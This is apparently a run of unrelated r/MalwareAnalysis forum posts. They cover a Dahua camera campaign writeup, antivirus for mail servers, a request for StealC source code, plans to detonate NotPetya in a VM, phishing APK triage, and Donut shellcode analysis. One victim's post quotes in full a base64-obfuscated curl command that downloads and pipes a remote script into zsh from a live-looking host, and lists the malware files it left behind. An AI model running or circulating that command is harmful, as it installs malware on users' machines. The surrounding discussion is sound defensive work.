r/MalwareAnalysis

An operator left their full working directory exposed on an open HTTP server. Hunt.io crawled it, 2,616 files, and rebuilt the campaign from the corpus.

• Three exploitation paths in parallel: an asyncio credential brute-forcer, a CVE-2021-33044/33045 auth-bypass chain, and P2P relay abuse reaching cameras by serial number
• The relay path never authenticates the connecting party, only the session, via a cloud-issued token obtainable with the fixed SDK credentials in every Dahua client
• Two CVE labels in the tooling don't hold up: CVE-2024-39943 is an unrelated Rejetto HFS flaw, and CVE-2025-31702 is a narrower post-auth case, not the unauthenticated relay abuse (that path is a separate non-CVE issue documented by ITRES)
• Full PTCP tunnel breakdown, including the Inverted STUN packet and the bind-to-127.0.0.1 technique

Neutral attribution throughout, the corpus shows how the operation was built and run, not who ran it.

Check the full breakdown, IOCs and mitigation strategies:
https://hunt.io/blog/operation-cameraswarm-dahua-cameras-compromised

Over the past 20 years, I've setup a lot of mail servers at work. These are mostly based on Postfix / Spamassassin / Dovecot, using IMAP for the clients. Recently, I started using Roundcube for webmail.

Postfix, uses several blacklists to block spam at the MTA level, these come pre-configured with the control panel, which blocks 99% of spam, and Spamassassin blocks the other 1%. Its a rare occurrence for spam to pass this setup, usually they are phishing emails or some new virus.

I always use DKIM, DMARC and SPF, and my deliverability is perfect, all mail goes to inbox.

I'm hosting mail servers with Linode and Hetzner, and I plan to expand to Netcup in the near future.

So far so good.

But, one thing I'm missing, is a good anti-malware/anti-virus, because ClamAV seems incapable of catching the malware files that go through my servers. I always take the time to extract these files and submit them at ClamAV Report Malware page, but its too late by then.

Sadly, when I submit the same virus to VirusTotal, the file gets 10+ hits in other anti-virus software but not ClamAV.

What are your suggestions?

Thank you.

I would like to share my Linux Syscall Monitor project with you. It's a Linux process monitoring tool written in C that uses "ptrace" to observe system calls and generate behavioral reports.

Repo .

I welcome any feedback or criticism—whether it's about the code .

A depth-8 ftrace analysis of how the Linux kernel processes ICMP Timestamp (Type 13/14) requests — covering the full call chain, payload validation, conntrack behavior, and ts_ori echo mechanics.
————————

Most security tooling treats ICMP as a monolith: ping works, or it doesn’t. ICMP Timestamp (Type 13/14) sits in that overlooked middle ground — defined in RFC 792, implemented in every Linux kernel, but rarely scrutinized at the source level.
This post documents a depth-8 ftrace investigation of icmp_timestamp() on Linux kernel 6.17.13. Beyond cataloguing individual findings, the goal is to map the architectural reality of how the kernel processes ICMP Timestamp requests — every code path, every decision point, every place where the implementation diverges from what RFC 792 specifies.
What emerged was a set of concrete, reproducible behaviors: a silent payload threshold, a Code field that is never read, ts_ori that is echoed without any range check, and a netfilter pipeline that creates a conntrack entry for every single exchange.

I revisited this malware variant that I came across in the wild to demonstrate to everyone how it works. Stay safe and I hope this helps someone learn something!

Hey, I don't usually post on here, but this is kind of a last resort.

I'm looking for the source code of StealC V1 (including the panel stub, etc.), as I want to expand my decryptor for it, which is written in Python.

I came across the source a couple of months ago on GitHub, but I was too stupid to download it at the time.

I've already tried places like the Internet Archive, etc., but haven't had any luck.

If anyone knows where I could find it or happens to have a copy of the source, I would greatly appreciate it.

I dont know if this is the right place to post this, so please correct me if im wrong.

If this violates Rule 2, I apologize.

Hello. I am relatively a beginner at malware analysis as a hobby, and was wanting to know if there would be any risks of a potential VM escape with NotPetya. I'm using VirtualBox 7.2.14 r174565 no guest additions. I won't have network adapter on, serial ports off, both features off, an air-gap, and using snapshots. I will be planning to run it on a Windows XP x64 if that changes anything

SHA256: 63545fa195488ff51955f09833332b9660d18f8afb16bdf579134661962e548a

Will give any more needed info.

Got it from MalwareBazaar (Will DM link). Any advice wanted.

I am afraid of it. Very afraid.

Hi guys,

I handle threat intelligence for a bank & we receive multiple URLs/APKs impersonating our organization.

We check for legitimacy & immediately send it for takedown if it's not related to us or if it's malicious.

I wanted to know if anyone of you also side by side does forensics/malware analysis of such APKs to know the TTPs & relevant information pertaining to that APK?

If Yes, please let me know the procedure being followed at your end.

Hi guys,

I handle threat intelligence for a bank & we receive multiple URLs/APKs impersonating our organization.

We check for legitimacy & immediately send it for takedown if it's not related to us or if it's malicious.

I wanted to know if anyone of you also side by side does forensics/malware analysis of such APKs to know the TTPs & relevant information pertaining to that APK?

If Yes, please let me know the procedure being followed at your end.

while looking for the claude terminal, clicked on the first link and didn't check what I was curling (sorry I'm an idiot and was tired)

I accidentally ran the following command on my Mac (DON'T RUN IT OBVIOUSLY):

curl -kfsSL $(echo 'aHR0cDovL3Bob2VuaXhwb29sY29udHJhY3Rvci5jb20vY3VybC8yMTMzYTA5ZWQ5YzAyZDc5ZjczNWM2NzU3MTdhMTVmMThiZTY0NTI3Mjc5M2ExNzBjOWQ0NzVhM2MwNDgwMDkw' | base64 -D) | zsh

The Base64 decodes to:

http://phoenixpoolcontractor.com/curl/2133a09ed9c02d79f735c675717a15f18be645272793a170c9d475a3c0480090

I realized afterward how suspicious this was and started checking the system.

Within the time window after running it, I found these newly created files:

~/Library/LaunchAgents/com.apple.c228cbc1.hcpi.plist

~/.local/com.apple.c228cbc1.hcpi

~/.local/com.apple.c228cbc1.capture.app/
└── Contents/
    └── MacOS/
        └── ScreenCap

There were also these files in /private/tmp:

/private/tmp/.com.apple.xpcd
/private/tmp/.com.apple.dsync
/private/tmp/.zshrc.tmp

Unfortunately, while cleaning the machine I deleted the LaunchAgent and associated binaries before I thought to preserve them for analysis.

What I have done since:

• unloaded/deleted the suspicious LaunchAgent
• removed the matching files under ~/.local
• removed the suspicious /private/tmp files
• rebooted the Mac
• checked all currently running processes after reboot
• checked ~/Library/LaunchAgents, /Library/LaunchAgents, and /Library/LaunchDaemons
• checked established TCP connections with lsof
• searched for the suspicious filenames again

Nothing matching c228cbc1, ScreenCap, .com.apple.xpcd, or .com.apple.dsync appears to be running or persisting after reboot.

I stumbled upon VIPKeylogger which has multiple stages.
The last stage is an autoit script that loads and decrypt an encrypted shellcode and injects it into a legit windows process. The thing is that the shellcode was generated from Donut shellcode generator and I can't analyze it whatsoever, the dynamic analysis of that exact process didn't show any but the shellcode is was already injected in the process space with RWX permissions. Does anyone have a way to reverse a donut generated shellcode or some sort of way to debug and analyze shellcodes?